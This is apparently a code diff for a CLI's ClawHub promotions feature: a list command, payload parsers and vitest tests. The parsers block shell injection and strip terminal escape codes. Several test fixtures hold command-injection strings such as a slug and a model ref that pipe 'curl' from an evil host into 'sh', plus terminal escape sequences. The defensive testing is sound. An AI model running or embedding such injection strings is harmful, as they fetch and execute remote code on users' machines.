` Try it: ${formatCliCommand(`openclaw models set ${suggested.modelRef}`)} (promotion ends ${new Date(promotion.endsAt).toLocaleDateString()}).`,
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import type { RuntimeEnv } from "../../runtime.js";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
fetchClawHubPromotions: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("../../infra/clawhub.js", async () => {
|
||||
const actual =
|
||||
await vi.importActual<typeof import("../../infra/clawhub.js")>("../../infra/clawhub.js");
|
||||
return {
|
||||
...actual,
|
||||
fetchClawHubPromotions: mocks.fetchClawHubPromotions,
|
||||
};
|
||||
});
|
||||
|
||||
const { ClawHubRequestError } = await import("../../infra/clawhub.js");
|
||||
const { promosListCommand } = await import("./list.js");
|
||||
|
||||
function makeRuntime() {
|
||||
const lines: string[] = [];
|
||||
const runtime = {
|
||||
log: vi.fn((line: string) => lines.push(line)),
|
||||
error: vi.fn(),
|
||||
exit: vi.fn(),
|
||||
} as unknown as RuntimeEnv;
|
||||
return { runtime, lines };
|
||||
}
|
||||
|
||||
const promotion = {
|
||||
slug: "spring-models",
|
||||
title: "Free Example models",
|
||||
blurb: "A limited-time offer.",
|
||||
sponsor: "Example",
|
||||
status: "active",
|
||||
active: true,
|
||||
startsAt: Date.now() - 1_000,
|
||||
endsAt: Date.now() + 3 * 86_400_000,
|
||||
provider: "openrouter",
|
||||
models: [
|
||||
{ modelRef: "openrouter/example/model-alpha", alias: "Model Alpha", suggestedDefault: true },
|
||||
],
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
describe("promosListCommand", () => {
|
||||
it("prints promotions with models and the claim command", async () => {
|
||||
mocks.fetchClawHubPromotions.mockResolvedValue([promotion]);
|
||||
const { runtime, lines } = makeRuntime();
|
||||
|
||||
await promosListCommand({}, runtime);
|
||||
|
||||
const output = lines.join("\n");
|
||||
expect(output).toContain("Free Example models — Example");
|
||||
expect(output).toContain("openrouter/example/model-alpha (Model Alpha) — suggested default");
|
||||
expect(output).toContain("openclaw promos claim spring-models");
|
||||
});
|
||||
|
||||
it("prints an empty-state line when nothing is live", async () => {
|
||||
mocks.fetchClawHubPromotions.mockResolvedValue([]);
|
||||
const { runtime, lines } = makeRuntime();
|
||||
|
||||
await promosListCommand({}, runtime);
|
||||
|
||||
expect(lines.join("\n")).toContain("No active promotions");
|
||||
});
|
||||
|
||||
it("reports a friendly unavailable state when the promotions route is not deployed", async () => {
|
||||
mocks.fetchClawHubPromotions.mockRejectedValue(
|
||||
new ClawHubRequestError({ path: "/api/v1/promotions", status: 404, body: "not found" }),
|
||||
);
|
||||
const { runtime, lines } = makeRuntime();
|
||||
|
||||
await promosListCommand({}, runtime);
|
||||
|
||||
expect(lines).toEqual(["Promotions are not available from ClawHub yet."]);
|
||||
});
|
||||
|
||||
it("preserves the JSON shape when the promotions route is not deployed", async () => {
|
||||
mocks.fetchClawHubPromotions.mockRejectedValue(
|
||||
new ClawHubRequestError({ path: "/api/v1/promotions", status: 404, body: "not found" }),
|
||||
);
|
||||
const { runtime, lines } = makeRuntime();
|
||||
|
||||
await promosListCommand({ json: true }, runtime);
|
||||
|
||||
expect(JSON.parse(lines.join("\n"))).toEqual({ promotions: [] });
|
||||
});
|
||||
|
||||
it("strips terminal control sequences from remote promotion text", async () => {
|
||||
mocks.fetchClawHubPromotions.mockResolvedValue([
|
||||
{
|
||||
...promotion,
|
||||
title: "Free\u001b[31m models",
|
||||
blurb: "Offer\u001b]0;pwned\u0007 text",
|
||||
},
|
||||
]);
|
||||
const { runtime, lines } = makeRuntime();
|
||||
|
||||
await promosListCommand({}, runtime);
|
||||
|
||||
const output = lines.join("\n");
|
||||
expect(output).not.toContain("\u001b");
|
||||
expect(output).toContain("Free");
|
||||
});
|
||||
|
||||
it("emits JSON with --json", async () => {
|
||||
mocks.fetchClawHubPromotions.mockResolvedValue([promotion]);
|
||||
const { runtime, lines } = makeRuntime();
|
||||
|
||||
await promosListCommand({ json: true }, runtime);
|
||||
|
||||
const parsed = JSON.parse(lines.join("\n")) as { promotions: Array<{ slug: string }> };
|
||||
expect(parsed.promotions[0]?.slug).toBe("spring-models");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,60 @@
|
||||
/** Lists active ClawHub promotional model offers. */
|
||||
import { sanitizeTerminalText } from "../../../packages/terminal-core/src/safe-text.js";
|
||||
import { formatCliCommand } from "../../cli/command-format.js";
|
||||
import {
|
||||
ClawHubRequestError,
|
||||
fetchClawHubPromotions,
|
||||
type ClawHubPromotion,
|
||||
} from "../../infra/clawhub.js";
|
||||
import { markPromotionSlugsNotified } from "../../infra/promotions-feed.js";
|
||||
import type { RuntimeEnv } from "../../runtime.js";
|
||||
|
||||
function formatWindowEnd(promotion: ClawHubPromotion): string {
|
||||
const daysLeft = Math.max(0, Math.ceil((promotion.endsAt - Date.now()) / 86_400_000));
|
||||
if (daysLeft === 0) {
|
||||
return "ends today";
|
||||
}
|
||||
return daysLeft === 1 ? "1 day left" : `${daysLeft} days left`;
|
||||
}
|
||||
|
||||
export async function promosListCommand(opts: { json?: boolean }, runtime: RuntimeEnv) {
|
||||
let promotions: ClawHubPromotion[];
|
||||
try {
|
||||
promotions = await fetchClawHubPromotions();
|
||||
} catch (error) {
|
||||
if (!(error instanceof ClawHubRequestError) || error.status !== 404) {
|
||||
throw error;
|
||||
}
|
||||
runtime.log(
|
||||
opts.json
|
||||
? JSON.stringify({ promotions: [] }, null, 2)
|
||||
: "Promotions are not available from ClawHub yet.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
// The user has now seen these offers; suppress the one-time passive
|
||||
// discovery notice for them (`models list` reads the same markers).
|
||||
markPromotionSlugsNotified(promotions.map((promotion) => promotion.slug));
|
||||
if (opts.json) {
|
||||
runtime.log(JSON.stringify({ promotions }, null, 2));
|
||||
return;
|
||||
}
|
||||
if (promotions.length === 0) {
|
||||
runtime.log("No active promotions right now.");
|
||||
return;
|
||||
}
|
||||
// Promotion text is remote content; strip control sequences before it can
|
||||
// reach an interactive terminal.
|
||||
const safe = sanitizeTerminalText;
|
||||
for (const promotion of promotions) {
|
||||
const sponsor = promotion.sponsor ? ` — ${safe(promotion.sponsor)}` : "";
|
||||
runtime.log(`${safe(promotion.title)}${sponsor} (${formatWindowEnd(promotion)})`);
|
||||
runtime.log(` ${safe(promotion.blurb)}`);
|
||||
for (const model of promotion.models) {
|
||||
const alias = model.alias ? ` (${safe(model.alias)})` : "";
|
||||
const suggested = model.suggestedDefault ? " — suggested default" : "";
|
||||
runtime.log(` · ${safe(model.modelRef)}${alias}${suggested}`);
|
||||
}
|
||||
runtime.log(` Claim: ${formatCliCommand(`openclaw promos claim ${safe(promotion.slug)}`)}`);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,193 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
fetchClawHubPromotion,
|
||||
fetchClawHubPromotions,
|
||||
fetchClawHubPromotionsFeed,
|
||||
parseClawHubPromotion,
|
||||
parseClawHubPromotionsFeed,
|
||||
} from "./clawhub.js";
|
||||
|
||||
const validPromotion = {
|
||||
slug: "spring-models",
|
||||
title: "Free Example models",
|
||||
blurb: "A limited-time offer.",
|
||||
status: "active",
|
||||
active: true,
|
||||
startsAt: 100,
|
||||
endsAt: 200,
|
||||
provider: "openrouter",
|
||||
authChoiceId: "openrouter-api-key",
|
||||
models: [{ modelRef: "openrouter/example/model-alpha", alias: "Alpha", suggestedDefault: true }],
|
||||
signupUrl: "https://signup.example.com",
|
||||
};
|
||||
|
||||
function jsonResponse(body: unknown, status = 200, headers: Record<string, string> = {}) {
|
||||
return new Response(JSON.stringify(body), {
|
||||
status,
|
||||
headers: { "content-type": "application/json", ...headers },
|
||||
});
|
||||
}
|
||||
|
||||
describe("parseClawHubPromotion", () => {
|
||||
it("parses a full promotion payload", () => {
|
||||
const parsed = parseClawHubPromotion({
|
||||
...validPromotion,
|
||||
pluginNames: ["@openclaw/openrouter-provider"],
|
||||
});
|
||||
expect(parsed.slug).toBe("spring-models");
|
||||
expect(parsed.models[0]?.suggestedDefault).toBe(true);
|
||||
expect(parsed.pluginNames).toEqual(["@openclaw/openrouter-provider"]);
|
||||
});
|
||||
|
||||
it("rejects payloads without models", () => {
|
||||
expect(() => parseClawHubPromotion({ ...validPromotion, models: [] })).toThrow(/models/);
|
||||
});
|
||||
|
||||
it("rejects slugs outside ClawHub's slug contract", () => {
|
||||
// Slugs are echoed into copy-paste commands; shell metacharacters must fail parsing.
|
||||
expect(() =>
|
||||
parseClawHubPromotion({ ...validPromotion, slug: "deal; curl evil.sh|sh" }),
|
||||
).toThrow(/slug/);
|
||||
expect(() => parseClawHubPromotion({ ...validPromotion, slug: "UPPER-case" })).toThrow(/slug/);
|
||||
});
|
||||
|
||||
it("rejects model refs with shell metacharacters", () => {
|
||||
expect(() =>
|
||||
parseClawHubPromotion({
|
||||
...validPromotion,
|
||||
models: [{ modelRef: "openrouter/foo; curl https://evil.example/sh | sh" }],
|
||||
}),
|
||||
).toThrow(/unsupported characters/);
|
||||
});
|
||||
|
||||
it("rejects non-string model refs", () => {
|
||||
expect(() => parseClawHubPromotion({ ...validPromotion, models: [{ modelRef: 42 }] })).toThrow(
|
||||
/modelRef/,
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects non-numeric windows", () => {
|
||||
expect(() => parseClawHubPromotion({ ...validPromotion, endsAt: "soon" })).toThrow(/endsAt/);
|
||||
});
|
||||
|
||||
it("rejects inverted promotion windows", () => {
|
||||
expect(() =>
|
||||
parseClawHubPromotion({
|
||||
...validPromotion,
|
||||
startsAt: 200,
|
||||
endsAt: 200,
|
||||
}),
|
||||
).toThrow(/window/);
|
||||
});
|
||||
|
||||
it("rejects plugin values that are not package names", () => {
|
||||
expect(() =>
|
||||
parseClawHubPromotion({
|
||||
...validPromotion,
|
||||
pluginNames: ["@openclaw/openrouter-provider@latest"],
|
||||
}),
|
||||
).toThrow(/pluginNames/);
|
||||
});
|
||||
});
|
||||
|
||||
describe("promotion fetches", () => {
|
||||
it("fetches and validates the active promotions list", async () => {
|
||||
const fetchImpl = vi.fn(async (..._args: unknown[]) =>
|
||||
jsonResponse({ promotions: [validPromotion] }),
|
||||
);
|
||||
const promotions = await fetchClawHubPromotions({ fetchImpl });
|
||||
expect(promotions).toHaveLength(1);
|
||||
expect(String(fetchImpl.mock.calls[0]?.[0])).toContain("/api/v1/promotions");
|
||||
});
|
||||
|
||||
it("rejects a list response without a promotions array", async () => {
|
||||
const fetchImpl = vi.fn(async (..._args: unknown[]) => jsonResponse({ nope: true }));
|
||||
await expect(fetchClawHubPromotions({ fetchImpl })).rejects.toThrow(/promotions array/);
|
||||
});
|
||||
|
||||
it("fetches a single promotion by slug", async () => {
|
||||
const fetchImpl = vi.fn(async (..._args: unknown[]) => jsonResponse(validPromotion));
|
||||
const promotion = await fetchClawHubPromotion({ slug: "spring-models", fetchImpl });
|
||||
expect(promotion.title).toBe("Free Example models");
|
||||
expect(String(fetchImpl.mock.calls[0]?.[0])).toContain("/api/v1/promotions/spring-models");
|
||||
});
|
||||
});
|
||||
|
||||
const { status: _status, active: _active, ...feedEntryFields } = validPromotion;
|
||||
const validFeed = {
|
||||
schemaVersion: 1,
|
||||
id: "clawhub-promotions",
|
||||
generatedAt: "2026-07-05T00:00:00.000Z",
|
||||
sequence: 3,
|
||||
expiresAt: "2026-07-06T00:00:00.000Z",
|
||||
entries: [{ type: "promotion", ...feedEntryFields }],
|
||||
};
|
||||
|
||||
describe("parseClawHubPromotionsFeed", () => {
|
||||
it("parses a valid feed snapshot", () => {
|
||||
const feed = parseClawHubPromotionsFeed(validFeed);
|
||||
expect(feed.sequence).toBe(3);
|
||||
expect(feed.entries[0]?.slug).toBe("spring-models");
|
||||
expect(feed.entries[0]?.models[0]?.modelRef).toBe("openrouter/example/model-alpha");
|
||||
});
|
||||
|
||||
it("rejects wrong feed ids and schema versions", () => {
|
||||
expect(() => parseClawHubPromotionsFeed({ ...validFeed, id: "other-feed" })).toThrow(/feed id/);
|
||||
expect(() => parseClawHubPromotionsFeed({ ...validFeed, schemaVersion: 2 })).toThrow(
|
||||
/schema version/,
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects malformed sequences, timestamps, and entry types", () => {
|
||||
expect(() => parseClawHubPromotionsFeed({ ...validFeed, sequence: -1 })).toThrow(/sequence/);
|
||||
expect(() => parseClawHubPromotionsFeed({ ...validFeed, generatedAt: "not-a-date" })).toThrow(
|
||||
/ISO dates/,
|
||||
);
|
||||
expect(() =>
|
||||
parseClawHubPromotionsFeed({
|
||||
...validFeed,
|
||||
entries: [{ type: "advert", ...feedEntryFields }],
|
||||
}),
|
||||
).toThrow(/entry type/);
|
||||
expect(() =>
|
||||
parseClawHubPromotionsFeed({
|
||||
...validFeed,
|
||||
expiresAt: "2026-07-04T00:00:00.000Z",
|
||||
}),
|
||||
).toThrow(/expiresAt/);
|
||||
});
|
||||
|
||||
it("holds feed entries to the promotion payload contracts", () => {
|
||||
expect(() =>
|
||||
parseClawHubPromotionsFeed({
|
||||
...validFeed,
|
||||
entries: [{ type: "promotion", ...feedEntryFields, models: [{ modelRef: "bad ref; rm" }] }],
|
||||
}),
|
||||
).toThrow(/modelRef/);
|
||||
});
|
||||
});
|
||||
|
||||
describe("fetchClawHubPromotionsFeed", () => {
|
||||
it("fetches without auth, returns the parsed feed and etag", async () => {
|
||||
const fetchImpl = vi.fn(async (..._args: unknown[]) =>
|
||||
jsonResponse(validFeed, 200, { etag: '"seq-3"' }),
|
||||
);
|
||||
const result = await fetchClawHubPromotionsFeed({ fetchImpl });
|
||||
expect(result.status).toBe("ok");
|
||||
if (result.status === "ok") {
|
||||
expect(result.feed.sequence).toBe(3);
|
||||
expect(result.etag).toBe('"seq-3"');
|
||||
}
|
||||
expect(String(fetchImpl.mock.calls[0]?.[0])).toContain("/api/v1/feeds/promotions");
|
||||
const init = fetchImpl.mock.calls[0]?.[1] as RequestInit;
|
||||
expect(new Headers(init?.headers).get("authorization")).toBeNull();
|
||||
});
|
||||
|
||||
it("sends If-None-Match and maps 304 to not-modified", async () => {
|
||||
const fetchImpl = vi.fn(async (..._args: unknown[]) => new Response(null, { status: 304 }));
|
||||
const result = await fetchClawHubPromotionsFeed({ etag: '"seq-3"', fetchImpl });
|
||||
expect(result.status).toBe("not-modified");
|
||||
const init = fetchImpl.mock.calls[0]?.[1] as RequestInit;
|
||||
expect(new Headers(init?.headers).get("if-none-match")).toBe('"seq-3"');
|
||||
});
|
||||
});
|
||||
@@ -11,6 +11,7 @@ import {
|
||||
import { normalizeStringEntries } from "@openclaw/normalization-core/string-normalization";
|
||||
import { sha256Base64, sha256Hex as digestSha256Hex } from "./crypto-digest.js";
|
||||
import { readResponseTextSnippet, readResponseWithLimit } from "./http-body.js";
|
||||
import { parseRegistryNpmSpec } from "./npm-registry-spec.js";
|
||||
import {
|
||||
parseStrictNonNegativeInteger,
|
||||
parseStrictPositiveInteger,
|
||||
@@ -420,6 +421,7 @@ type ClawHubRequestParams = {
|
||||
search?: Record<string, string | undefined>;
|
||||
fetchImpl?: FetchLike;
|
||||
skipAuth?: boolean;
|
||||
headers?: Record<string, string>;
|
||||
};
|
||||
|
||||
type ClawHubConfigLike = {
|
||||
@@ -702,6 +704,7 @@ async function clawhubRequest(
|
||||
const headers = {
|
||||
...(token ? { Authorization: `Bearer ${token}` } : {}),
|
||||
...(params.json === undefined ? {} : { "Content-Type": "application/json" }),
|
||||
...params.headers,
|
||||
};
|
||||
const init: RequestInit = { signal: controller.signal };
|
||||
if (params.method) {
|
||||
@@ -875,6 +878,57 @@ function requiredStringArrayField(
|
||||
throw new Error(`Malformed ClawHub ${context}: expected ${field} to be a string array.`);
|
||||
}
|
||||
|
||||
function requiredStringField(
|
||||
source: Record<string, unknown>,
|
||||
field: string,
|
||||
context: string,
|
||||
): string {
|
||||
const value = source[field];
|
||||
if (typeof value === "string" && value.length > 0) {
|
||||
return value;
|
||||
}
|
||||
throw new Error(`Malformed ClawHub ${context}: expected ${field} to be a non-empty string.`);
|
||||
}
|
||||
|
||||
function requiredNumberField(
|
||||
source: Record<string, unknown>,
|
||||
field: string,
|
||||
context: string,
|
||||
): number {
|
||||
const value = source[field];
|
||||
if (typeof value === "number" && Number.isFinite(value)) {
|
||||
return value;
|
||||
}
|
||||
throw new Error(`Malformed ClawHub ${context}: expected ${field} to be a number.`);
|
||||
}
|
||||
|
||||
function optionalBooleanField(
|
||||
source: Record<string, unknown>,
|
||||
field: string,
|
||||
context: string,
|
||||
): boolean | undefined {
|
||||
const value = source[field];
|
||||
if (value === undefined || typeof value === "boolean") {
|
||||
return value;
|
||||
}
|
||||
throw new Error(`Malformed ClawHub ${context}: expected ${field} to be a boolean.`);
|
||||
}
|
||||
|
||||
function optionalStringArrayField(
|
||||
source: Record<string, unknown>,
|
||||
field: string,
|
||||
context: string,
|
||||
): string[] | undefined {
|
||||
const value = source[field];
|
||||
if (value === undefined) {
|
||||
return undefined;
|
||||
}
|
||||
if (Array.isArray(value) && value.every((entry) => typeof entry === "string")) {
|
||||
return value;
|
||||
}
|
||||
throw new Error(`Malformed ClawHub ${context}: expected ${field} to be a string array.`);
|
||||
}
|
||||
|
||||
function parseOptionalSecurityPackage(value: unknown): ClawHubPackageSecurityResponse["package"] {
|
||||
if (value === undefined || value === null) {
|
||||
return value;
|
||||
@@ -1656,3 +1710,290 @@ export function satisfiesGatewayMinimum(
|
||||
}
|
||||
return isAtLeast(current, minimum);
|
||||
}
|
||||
|
||||
// ─── ClawHub promotions ────────────────────────────────────────────────────
|
||||
// Promotional model offers published by ClawHub (GET /api/v1/promotions).
|
||||
// The payload is declarative only: provider/authChoiceId/pluginNames are
|
||||
// validated against the local provider catalog by the caller before any
|
||||
// install/auth action, so a malformed or hostile record cannot execute code.
|
||||
|
||||
export type ClawHubPromotionModel = {
|
||||
modelRef: string;
|
||||
alias?: string;
|
||||
suggestedDefault?: boolean;
|
||||
};
|
||||
|
||||
export type ClawHubPromotion = {
|
||||
slug: string;
|
||||
title: string;
|
||||
blurb: string;
|
||||
sponsor?: string;
|
||||
status: string;
|
||||
active: boolean;
|
||||
startsAt: number;
|
||||
endsAt: number;
|
||||
provider?: string;
|
||||
authChoiceId?: string;
|
||||
pluginNames?: string[];
|
||||
models: ClawHubPromotionModel[];
|
||||
signupUrl?: string;
|
||||
docsUrl?: string;
|
||||
launchPageUrl?: string;
|
||||
};
|
||||
|
||||
// A hosted-feed snapshot entry: the same declarative payload without the
|
||||
// live-only status/active flags (the feed only ever contains live records;
|
||||
// clients still window-filter on startsAt/endsAt).
|
||||
export type ClawHubPromotionsFeedEntry = Omit<ClawHubPromotion, "status" | "active">;
|
||||
|
||||
export type ClawHubPromotionsFeed = {
|
||||
schemaVersion: number;
|
||||
id: string;
|
||||
generatedAt: string;
|
||||
sequence: number;
|
||||
expiresAt: string;
|
||||
entries: ClawHubPromotionsFeedEntry[];
|
||||
};
|
||||
|
||||
// Shell-safe contract for provider/model refs: they are echoed into
|
||||
// copy-paste CLI commands, so whitespace and shell metacharacters must fail
|
||||
// parsing rather than reach a terminal.
|
||||
const CLAWHUB_PROMOTION_MODEL_REF_RE = /^[A-Za-z0-9][A-Za-z0-9._:/-]*$/;
|
||||
|
||||
function parseClawHubPromotionModel(value: unknown, context: string): ClawHubPromotionModel {
|
||||
if (!isJsonObject(value)) {
|
||||
throw new Error(`Malformed ClawHub ${context}: expected each model to be an object.`);
|
||||
}
|
||||
const modelRef = requiredStringField(value, "modelRef", context);
|
||||
if (!CLAWHUB_PROMOTION_MODEL_REF_RE.test(modelRef)) {
|
||||
throw new Error(`Malformed ClawHub ${context}: modelRef contains unsupported characters.`);
|
||||
}
|
||||
const model: ClawHubPromotionModel = {
|
||||
modelRef,
|
||||
};
|
||||
const alias = optionalStringField(value, "alias", context);
|
||||
if (alias) {
|
||||
model.alias = alias;
|
||||
}
|
||||
const suggestedDefault = optionalBooleanField(value, "suggestedDefault", context);
|
||||
if (suggestedDefault !== undefined) {
|
||||
model.suggestedDefault = suggestedDefault;
|
||||
}
|
||||
return model;
|
||||
}
|
||||
|
||||
// ClawHub's server-side slug contract. Enforced here because slugs are echoed
|
||||
// into copy-paste CLI commands; anything else would be a shell-injection path.
|
||||
const CLAWHUB_PROMOTION_SLUG_RE = /^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/;
|
||||
|
||||
// Safe identifier grammar for provider ids and auth choice ids.
|
||||
const CLAWHUB_PROMOTION_IDENTIFIER_RE = /^[A-Za-z0-9][A-Za-z0-9._@/-]*$/;
|
||||
|
||||
// Shared shape between the live API promotion and a feed entry: everything
|
||||
// except the live-only `status`/`active` flags.
|
||||
function parseClawHubPromotionCore(
|
||||
value: Record<string, unknown>,
|
||||
context: string,
|
||||
): ClawHubPromotionsFeedEntry {
|
||||
const modelsRaw = value.models;
|
||||
if (!Array.isArray(modelsRaw) || modelsRaw.length === 0) {
|
||||
throw new Error(`Malformed ClawHub ${context}: expected models to be a non-empty array.`);
|
||||
}
|
||||
const slug = requiredStringField(value, "slug", context);
|
||||
if (!CLAWHUB_PROMOTION_SLUG_RE.test(slug)) {
|
||||
throw new Error(`Malformed ClawHub ${context}: slug must be lowercase [a-z0-9-].`);
|
||||
}
|
||||
const startsAt = requiredNumberField(value, "startsAt", context);
|
||||
const endsAt = requiredNumberField(value, "endsAt", context);
|
||||
if (endsAt <= startsAt) {
|
||||
throw new Error(`Malformed ClawHub ${context}: promotion window must end after it starts.`);
|
||||
}
|
||||
const promotion: ClawHubPromotionsFeedEntry = {
|
||||
slug,
|
||||
title: requiredStringField(value, "title", context),
|
||||
blurb: requiredStringField(value, "blurb", context),
|
||||
startsAt,
|
||||
endsAt,
|
||||
models: modelsRaw.map((entry) => parseClawHubPromotionModel(entry, context)),
|
||||
};
|
||||
const optionalStrings = ["sponsor", "signupUrl", "docsUrl", "launchPageUrl"] as const;
|
||||
for (const field of optionalStrings) {
|
||||
const parsed = optionalStringField(value, field, context);
|
||||
if (parsed) {
|
||||
promotion[field] = parsed;
|
||||
}
|
||||
}
|
||||
// Identifier fields are echoed into error messages and config; hold them to
|
||||
// a safe identifier grammar so remote payloads cannot smuggle terminal
|
||||
// controls or whitespace through failure paths.
|
||||
const identifierFields = ["provider", "authChoiceId"] as const;
|
||||
for (const field of identifierFields) {
|
||||
const parsed = optionalStringField(value, field, context);
|
||||
if (!parsed) {
|
||||
continue;
|
||||
}
|
||||
if (!CLAWHUB_PROMOTION_IDENTIFIER_RE.test(parsed)) {
|
||||
throw new Error(`Malformed ClawHub ${context}: ${field} contains unsupported characters.`);
|
||||
}
|
||||
promotion[field] = parsed;
|
||||
}
|
||||
const pluginNames = optionalStringArrayField(value, "pluginNames", context);
|
||||
if (pluginNames && pluginNames.length > 0) {
|
||||
for (const name of pluginNames) {
|
||||
const parsed = parseRegistryNpmSpec(name);
|
||||
if (!parsed || parsed.selectorKind !== "none" || parsed.name !== name) {
|
||||
throw new Error(
|
||||
`Malformed ClawHub ${context}: pluginNames must contain npm package names.`,
|
||||
);
|
||||
}
|
||||
}
|
||||
promotion.pluginNames = pluginNames;
|
||||
}
|
||||
return promotion;
|
||||
}
|
||||
|
||||
export function parseClawHubPromotion(value: unknown): ClawHubPromotion {
|
||||
const context = "promotion";
|
||||
if (!isJsonObject(value)) {
|
||||
throw new Error(`Malformed ClawHub ${context}: expected an object.`);
|
||||
}
|
||||
return {
|
||||
...parseClawHubPromotionCore(value, context),
|
||||
status: requiredStringField(value, "status", context),
|
||||
active: requiredBooleanField(value, "active", context),
|
||||
};
|
||||
}
|
||||
|
||||
export async function fetchClawHubPromotions(
|
||||
params: {
|
||||
baseUrl?: string;
|
||||
timeoutMs?: number;
|
||||
fetchImpl?: FetchLike;
|
||||
} = {},
|
||||
): Promise<ClawHubPromotion[]> {
|
||||
const response = await fetchJson<unknown>({
|
||||
baseUrl: params.baseUrl,
|
||||
path: "/api/v1/promotions",
|
||||
timeoutMs: params.timeoutMs,
|
||||
fetchImpl: params.fetchImpl,
|
||||
});
|
||||
if (!isJsonObject(response) || !Array.isArray(response.promotions)) {
|
||||
throw new Error("Malformed ClawHub promotions response: expected a promotions array.");
|
||||
}
|
||||
return response.promotions.map((entry) => parseClawHubPromotion(entry));
|
||||
}
|
||||
|
||||
export async function fetchClawHubPromotion(params: {
|
||||
slug: string;
|
||||
baseUrl?: string;
|
||||
timeoutMs?: number;
|
||||
fetchImpl?: FetchLike;
|
||||
}): Promise<ClawHubPromotion> {
|
||||
const response = await fetchJson<unknown>({
|
||||
baseUrl: params.baseUrl,
|
||||
path: `/api/v1/promotions/${encodeURIComponent(params.slug)}`,
|
||||
timeoutMs: params.timeoutMs,
|
||||
fetchImpl: params.fetchImpl,
|
||||
});
|
||||
return parseClawHubPromotion(response);
|
||||
}
|
||||
|
||||
// ─── ClawHub promotions feed (GET /api/v1/feeds/promotions) ───────────────
|
||||
// Immutable hosted snapshot used for passive discovery: cheap conditional
|
||||
// GETs (`If-None-Match` → 304), never authoritative for claiming — `promos
|
||||
// claim` always revalidates against the live API so the kill switch wins
|
||||
// regardless of snapshot staleness.
|
||||
|
||||
export const CLAWHUB_PROMOTIONS_FEED_ID = "clawhub-promotions";
|
||||
// Strict cross-repo wire contract with ClawHub's promotionsFeed publisher.
|
||||
// Bump only in lockstep with the server-side schema.
|
||||
export const CLAWHUB_PROMOTIONS_FEED_SCHEMA_VERSION = 1;
|
||||
|
||||
export function parseClawHubPromotionsFeed(value: unknown): ClawHubPromotionsFeed {
|
||||
const context = "promotions feed";
|
||||
if (!isJsonObject(value)) {
|
||||
throw new Error(`Malformed ClawHub ${context}: expected an object.`);
|
||||
}
|
||||
const id = requiredStringField(value, "id", context);
|
||||
if (id !== CLAWHUB_PROMOTIONS_FEED_ID) {
|
||||
throw new Error(`Malformed ClawHub ${context}: unexpected feed id.`);
|
||||
}
|
||||
const schemaVersion = requiredNumberField(value, "schemaVersion", context);
|
||||
if (schemaVersion !== CLAWHUB_PROMOTIONS_FEED_SCHEMA_VERSION) {
|
||||
throw new Error(`Unsupported ClawHub ${context} schema version ${schemaVersion}.`);
|
||||
}
|
||||
const sequence = requiredNumberField(value, "sequence", context);
|
||||
if (!Number.isSafeInteger(sequence) || sequence < 0) {
|
||||
throw new Error(`Malformed ClawHub ${context}: sequence must be a non-negative integer.`);
|
||||
}
|
||||
const generatedAt = requiredStringField(value, "generatedAt", context);
|
||||
const expiresAt = requiredStringField(value, "expiresAt", context);
|
||||
const generatedAtMs = Date.parse(generatedAt);
|
||||
const expiresAtMs = Date.parse(expiresAt);
|
||||
if (!Number.isFinite(generatedAtMs) || !Number.isFinite(expiresAtMs)) {
|
||||
throw new Error(`Malformed ClawHub ${context}: timestamps must be ISO dates.`);
|
||||
}
|
||||
if (expiresAtMs <= generatedAtMs) {
|
||||
throw new Error(`Malformed ClawHub ${context}: expiresAt must be after generatedAt.`);
|
||||
}
|
||||
const entriesRaw = value.entries;
|
||||
if (!Array.isArray(entriesRaw)) {
|
||||
throw new Error(`Malformed ClawHub ${context}: expected an entries array.`);
|
||||
}
|
||||
const entries = entriesRaw.map((entry) => {
|
||||
if (!isJsonObject(entry)) {
|
||||
throw new Error(`Malformed ClawHub ${context}: expected each entry to be an object.`);
|
||||
}
|
||||
if (requiredStringField(entry, "type", context) !== "promotion") {
|
||||
throw new Error(`Malformed ClawHub ${context}: unexpected entry type.`);
|
||||
}
|
||||
return parseClawHubPromotionCore(entry, context);
|
||||
});
|
||||
return { schemaVersion, id, generatedAt, sequence, expiresAt, entries };
|
||||
}
|
||||
|
||||
export type ClawHubPromotionsFeedFetchResult =
|
||||
| { status: "not-modified" }
|
||||
| { status: "ok"; feed: ClawHubPromotionsFeed; payload: string; etag?: string };
|
||||
|
||||
export async function fetchClawHubPromotionsFeed(
|
||||
params: {
|
||||
etag?: string;
|
||||
baseUrl?: string;
|
||||
timeoutMs?: number;
|
||||
fetchImpl?: FetchLike;
|
||||
} = {},
|
||||
): Promise<ClawHubPromotionsFeedFetchResult> {
|
||||
const { response, url } = await clawhubRequest({
|
||||
baseUrl: params.baseUrl,
|
||||
path: "/api/v1/feeds/promotions",
|
||||
timeoutMs: params.timeoutMs,
|
||||
fetchImpl: params.fetchImpl,
|
||||
// Public CDN-served snapshot; an Authorization header would only
|
||||
// fragment edge caches.
|
||||
skipAuth: true,
|
||||
...(params.etag ? { headers: { "If-None-Match": params.etag } } : {}),
|
||||
});
|
||||
if (response.status === 304) {
|
||||
return { status: "not-modified" };
|
||||
}
|
||||
if (!response.ok) {
|
||||
throw await buildClawHubError(response, url, false, params.timeoutMs);
|
||||
}
|
||||
const buffer = await readClawHubResponseBytes({
|
||||
response,
|
||||
maxBytes: CLAWHUB_JSON_MAX_BYTES,
|
||||
timeoutMs: params.timeoutMs,
|
||||
resourceLabel: "promotions feed",
|
||||
});
|
||||
const payload = new TextDecoder().decode(buffer);
|
||||
let parsedJson: unknown;
|
||||
try {
|
||||
parsedJson = JSON.parse(payload);
|
||||
} catch (cause) {
|
||||
throw new Error(`ClawHub ${url.pathname} returned malformed JSON`, { cause });
|
||||
}
|
||||
const feed = parseClawHubPromotionsFeed(parsedJson);
|
||||
const etag = response.headers.get("etag") ?? undefined;
|
||||
return { status: "ok", feed, payload, ...(etag ? { etag } : {}) };
|
||||
}
|
||||
|
||||
@@ -0,0 +1,246 @@
|
||||
